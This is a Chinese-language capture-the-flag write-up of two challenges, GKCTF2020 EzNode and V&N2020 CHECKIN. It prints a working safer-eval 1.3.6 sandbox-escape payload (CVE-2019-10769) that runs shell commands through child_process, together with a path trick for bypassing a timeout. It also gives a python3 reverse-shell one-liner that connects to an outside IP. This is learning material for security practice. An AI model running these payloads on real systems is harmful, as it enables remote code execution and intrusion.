[GKCTF2020]EZ三剑客-EzNode (day1 1-8)
进index页给了两个钮源码和版本
版本页:
1
2
3
4
5
6
7
8
9
10
11
|
{
"name": "src",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"safer-eval": "1.3.6"
}
}
|
再看源码。主要是一个post到eval运用saferEval。初步猜测saferEval应该是一个有限制的命令执行,题目给了版本可能是有某个CVE。上网一搜saferEval看到有关的CVE-2019-10769(任意代码执行漏洞)
已经给了一个exploit:Arbitrary Code Execution
接下来就是绕过了,在执行前有拦截器,当req.path === '/eval'
时,会先设置一个较长的计时器,这个计时器如果超时就会执行eval。然后立马取消该计时器。
这个地方感觉可以通过hack Math.max(),通过把delay调成一个超小值在计时器取消前超时,不过我没想出来怎么hack Math。用了另一种方式,当把uri改成/eval/。req.path === '/eval'
为否,但会触发/eval
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
(function () {
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
};
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
return i.mainModule.require("child_process").execSync("whoami").toString()
})()
|
由于有换行urlencode一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
POST /eval/
e=(function+()+{
++const+f+%3d+Buffer.prototype.write%3b
++const+ft+%3d+{
++++length%3a+10,
++++utf8Write(){
++++}
++}%3b
++function+r(i){
++++var+x+%3d+0%3b
++++try{
++++++x+%3d+r(i)%3b
++++}catch(e){}
++++if(typeof(x)!%3d%3d'number')
++++++return+x%3b
++++if(x!%3d%3di)
++++++return+x%2b1%3b
++++try{
++++++f.call(ft)%3b
++++}catch(e){
++++++return+e%3b
++++}
++++return+null%3b
++}
++var+i%3d1%3b
++while(1){
++++try{
++++++i%3dr(i).constructor.constructor("return+process")()%3b
++++++break%3b
++++}catch(x){
++++++i%2b%2b%3b
++++}
++}
++return+i.mainModule.require("child_process").execSync("cat /flag").toString()
})()
|
参考
safer-eval github
Arbitrary Code Execution in safer-eval | Snyk
CVE-2019-10769-README.md · GitHub
GitHub - patriksimek/vm2: Advanced vm/sandbox for Node.js
[V&N2020 公开赛]CHECKIN
上来就给了源码
看这题,无回显,shell上来直接删flag。感觉应该用反弹shell来做,本地搭的环境经过测试可以反弹shell。在云端的不行,估计是有防火墙?
我发现sleep可以。但是也没什么好的主意。没办法了,看WP
WP用的python3弹shell成功了。为什么bash直接弹不行(一︿一+)
1
|
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.85.126',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
|
学到新知识,当文件描述符正在打开,而文件被删除
仍然可以在proc/[process-id]/fd/[fd-id]
里看到文件内容。本题反弹shell上去之后执行
即可拿到flag
参考
各种环境下反弹shell的方法
[V&N2020 公开赛]CHECKIN-python黑洞网
刷题记录:[V&N2020 公开赛]CHECKIN - MustaphaMond - 博客园